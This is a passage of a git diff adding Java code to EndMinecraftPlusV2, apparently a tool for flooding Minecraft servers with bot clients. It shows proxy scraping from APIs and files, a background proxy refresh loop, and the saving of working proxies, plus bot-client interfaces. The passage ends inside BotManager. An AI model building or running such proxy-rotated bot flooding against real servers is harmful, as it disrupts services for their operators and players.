+ LogUtil.emptyLog();
+ }
+
+ public static void getProxiesFromAPIs(boolean replace) {
+ if (replace) {
+ proxies = new ConcurrentHashMap<>();
+ }
+
+ for (String url : ConfigUtil.ProxyAPIs) {
+ String ips = HTTPUtil.sendGet(url);
+ Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
+ while (matcher.find()) {
+ String ip = matcher.group();
+
+ if (!proxies.containsKey(ip)) {
+ proxies.put(ip, "");
+ }
+ }
+ }
+ }
+
+
+ public static void getProxiesFromFile(boolean replace) {
+ try {
+ if (!ConfigUtil.ProxyFile.exists()) {
+ LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
+ return;
+ }
+
+ BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
+ String tempString;
+
+ if (replace) {
+ proxies = new ConcurrentHashMap<>();
+ }
+
+ while ((tempString = reader.readLine()) != null) {
+ if (!proxies.containsKey(tempString)) {
+ proxies.put(tempString, "");
+ }
+ }
+
+ reader.close();
+ } catch (IOException e) {
+ LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
+ }
+ }
+
+ public static void runUpdateProxiesTask(int time) {
+ new Thread(() -> {
+ while (true) {
+ OtherUtils.doSleep(time * 1000L);
+
+ switch (ConfigUtil.ProxyGetType) {
+ case 1:
+ getProxiesFromAPIs(true);
+ LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
+ break;
+ case 2:
+ getProxiesFromFile(true);
+ LogUtil.doLog(0, "代理更新完毕! (通过本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
+ break;
+ case 3:
+ getProxiesFromFile(true);
+ getProxiesFromAPIs(false);
+ LogUtil.doLog(0, "代理更新完毕! (通过API+本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
+ break;
+ }
+ }
+ }).start();
+ }
+
+ public static void saveWorkingProxy(Proxy proxy) {
+ if (runTime == null) {
+ runTime = new Date();
+ }
+
+ SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd_hh-mm-ss");
+ File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt");
+ InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();
+
+ if (!workingProxiesList.containsKey(proxy)) {
+ try {
+ FileWriter fileWriter = new FileWriter(workingProxies, true);
+ String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", "");
+ fileWriter.write(proxyAddress);
+ fileWriter.close();
+ workingProxiesList.put(proxy, "");
+ } catch (IOException e) {
+ LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null);
+ }
+ }
+ }
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
new file mode 100644
index 0000000..e16fc44
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
@@ -0,0 +1,10 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import com.sun.jna.Library;
+import com.sun.jna.Native;
+import com.sun.jna.Platform;
+
+public interface SetTitle extends Library {
+ SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
+ boolean SetConsoleTitleA(String title);
+}
\ No newline at end of file
diff --git a/VersionFactory/VersionFactory.iml b/VersionFactory/VersionFactory.iml
new file mode 100644
index 0000000..6f48280
--- /dev/null
+++ b/VersionFactory/VersionFactory.iml
@@ -0,0 +1,22 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java
new file mode 100644
index 0000000..14a4c17
--- /dev/null
+++ b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotHandler.java
@@ -0,0 +1,25 @@
+package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot;
+
+import java.net.Proxy;
+
+public interface BotHandler {
+ Object createClient(Proxy proxy, String userName);
+
+ Object createClientLocal(String userName);
+
+ void connect(Object client, Proxy proxy);
+
+ void disconnect(Object client);
+
+ void connectLocal(Object client);
+
+ boolean checkClientStatus(Object client);
+
+ String getClientDisconnectMsg(Object client);
+
+ boolean hasClientFlag(Object client, String flag);
+
+ void setClientFlag(Object client, String flag);
+
+ void setClientTimeout(Object client, long timeout);
+}
diff --git a/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java
new file mode 100644
index 0000000..6965106
--- /dev/null
+++ b/VersionFactory/src/cn/serendipityr/EndMinecraftPlusV2/MultipleVersion/Bot/BotManager.java
@@ -0,0 +1,383 @@
+package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot;
+
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler;
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+
+import java.net.Proxy;
+import java.util.Random;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+public class BotManager {
+ public static ConcurrentHashMap